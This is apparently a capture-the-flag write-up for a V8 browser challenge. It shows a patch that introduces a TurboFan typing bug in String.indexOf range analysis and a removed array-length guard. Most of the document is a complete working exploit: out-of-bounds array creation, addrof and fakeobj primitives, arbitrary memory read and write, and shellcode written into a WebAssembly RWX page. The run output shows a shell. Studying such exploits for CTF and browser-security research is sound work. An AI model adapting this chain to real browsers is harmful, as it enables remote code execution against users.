---
# System prepended metadata

title: Untitled

---

UIUCTF shouldve-had-a-v8 Browser Challenge Mini Writeup

## Vulnerability

Patch file :

```javascript=
diff --git a/src/compiler/js-create-lowering.cc b/src/compiler/js-create-lowering.cc
index 899922a27f..aea23fe7ea 100644
--- a/src/compiler/js-create-lowering.cc
+++ b/src/compiler/js-create-lowering.cc
@@ -681,7 +681,7 @@ Reduction JSCreateLowering::ReduceJSCreateArray(Node* node) {
       int capacity = static_cast<int>(length_type.Max());
       // Replace length with a constant in order to protect against a potential
       // typer bug leading to length > capacity.
-      length = jsgraph()->Constant(capacity);
+      //length = jsgraph()->Constant(capacity);
       return ReduceNewArray(node, length, capacity, *initial_map, elements_kind,
                             allocation, slack_tracking_prediction);
     }
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 0f18222236..0f76ad896e 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -2073,7 +2073,7 @@ Type Typer::Visitor::TypeStringFromCodePointAt(Node* node) {
 }

 Type Typer::Visitor::TypeStringIndexOf(Node* node) {
-  return Type::Range(-1.0, String::kMaxLength, zone());
+  return Type::Range(0, String::kMaxLength, zone());
 }

 Type Typer::Visitor::TypeStringLength(Node* node) {
------------------------------------------------------------------------------------
```

Basically the vulnerability is a range miscalculation. The optimizer's assumptions are wrong about the range of values `string.indexOf` can return and the optimizer misses the `-1` case. Because of this, when `-1` occurs, there is a difference between the inferred value and actual value. We use this confusion to create an array having length greater than its length because in `ReduceJSCreateArray` the length is calculated by the graph generated by the optimizer.

Helpful links :

[P0 blogpost][P0]

[P0]: https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html

[JeremyFetiveau Exploit][__x86]

[__x86]: https://github.com/JeremyFetiveau/TurboFan-exploit-for-issue-762874

## Exploit

So the goal is creating an array with length `-1` however `-1` wont work directly. 

Here is an example failed attempt :
* `new Array("".indexOf('A'))`

This fails is because turbofan will optimize away the `"".indexOf('A'))` to a constant 0 so eventually we get an array of length 0. We need to put and object with a string property inside trigger function to keep the constant folding from happening too soon. Note : when you tried things like `Math.min`. So we need to delay that until a phase after that, but before Simplified Lowering, in order to successfully trigger the `Array(-1)`

Reference : 

[Exploiting the Math.expm1 typing bug in V8][Test]

[Test]: https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/

When we got oob access then rest of the part is about :

* Getting addrof
* Gaining read and write primitives
* Creating a Wasm Page (RWX)
* Inject shellcode

```javascript=
var conversion_buffer = new ArrayBuffer(8);
var float_view = new Float64Array(conversion_buffer);
var int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
function gc() {
    for (var i = 0; i < 0x10000; ++i)
        var a = new ArrayBuffer();
}

if (typeof print === undefined) {
    var print = console.log;
}

var shellcode = [4.349575388168352e+199, 1.0543077975713235e-68, 1.9656830452247845e-236, 1.288531947997e-312, -6.828527034370483e-229];

function pwn() {
    gc();
    var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
    var module = new WebAssembly.Module(code);
    var instance = new WebAssembly.Instance(module);
    var main = instance.exports.main;

    function trigger(foo) {
        let obj = {s: foo ? "" : "fuck"};
        var x = String.prototype.indexOf.call(obj.s, "fuck");
        x = x >> 30;
        let oob_smi = new Array(x);
        return oob_smi;
    }
    for (var i = 0; i < 0x4000; i++) {
        trigger(false);
    }

    let oob_double = trigger(true);
    print("[+] oob_double.length = " + oob_double.length);

    new Promise(() => {
        oob_double[0] = 3.14;
        let arr_victim = [{}];

        function addrof(obj) {
            arr_victim[0] = obj;
            return (oob_double[1].f2i() & 0xffffffffn) - 1n;
        }
        function fakeobj(addr) {
            oob_double[1] = (addr | 1n).i2f();
            return arr_victim[0];
        }

        let addr_proto = addrof(Array.prototype);
        print("[+] addr_proto = " + addr_proto.hex());
        let fake_map = [
            0x1604040487654321n.i2f(),
            0x0a0007ff2100043dn.i2f(),
            (addr_proto | 1n).i2f()
        ];
        let addr_fake_map = addrof(fake_map) + 0x34n;
        console.log("[+] fake_map = " + addr_fake_map.hex());
        let real_array = [(addr_fake_map | 1n).i2f(), 3.14];
        real_array[1] = 2.17;
        let addr_fake_array = addrof(real_array) - 0x10n;
        console.log("[+] fake_array = " + addr_fake_array.hex());
        let fake_array = fakeobj(addr_fake_array);

        function half_aar64(addr) {
            real_array[1] = (0x888800000001n | (addr-8n)).i2f();
            return fake_array[0].f2i();
        }
        function half_aaw64(addr, value) {
            real_array[1] = (0x888800000001n | (addr-8n)).i2f();
            fake_array[0] = value.i2f();
        }
        function half_cleanup() {
            real_array[0] = 0.0;
            real_array[1] = 0.0;
        }

        let leaker = new Uint8Array(1);
        let addr_leaker = addrof(leaker);
        let compress_high = half_aar64(addr_leaker + 0x28n) & 0xffffffff00000000n;
        console.log("[+] high = " + compress_high.hex());
        let evil = new Float64Array(0x10);
        let addr_evil = addrof(evil);
        console.log("[+] addr_evil = " + addr_evil.hex());
        let orig_evil = half_aar64(addr_evil + 0x28n);
        function full_aar64(addr) {
            half_aaw64(addr_evil + 0x28n, addr);
            return evil[0].f2i();
        }
        function full_aaw64(addr, value) {
            half_aaw64(addr_evil + 0x28n, addr);
            evil[0] = value.i2f();
        }
        function full_cleanup() {
            half_aaw64(addr_evil + 0x28n, orig_evil);
        }

        let addr_instance = addrof(instance);
        console.log("[+] addr_instance = " + addr_instance.hex());
        let addr_shellcode = half_aar64(addr_instance + 0x68n);
        console.log("[+] addr_shellcode = " + addr_shellcode.hex());
        for (let i = 0; i < shellcode.length; i++) {
            full_aaw64(addr_shellcode + BigInt(i*8), shellcode[i].f2i());
        }
        main();

        full_cleanup();
        half_cleanup();
    }).then();
}

pwn();
```

Thanks for help [ptr-yudai][Test2]

[Test2]:https://twitter.com/ptrYudai


Result : 

```javascript=
./d8 ./exploit.js
[+] oob_double.length = -1
[+] addr_proto = 0x820b958
[+] fake_map = 0x80aaf60
[+] fake_array = 0x80ab0a0
[+] high = 0x210500000000
[+] addr_evil = 0x80ab400
[+] addr_instance = 0x82134d4
[+] addr_shellcode = 0x214a689cb000
$ id
uid=1000(test) gid=1000(test) groups=1000(test)
```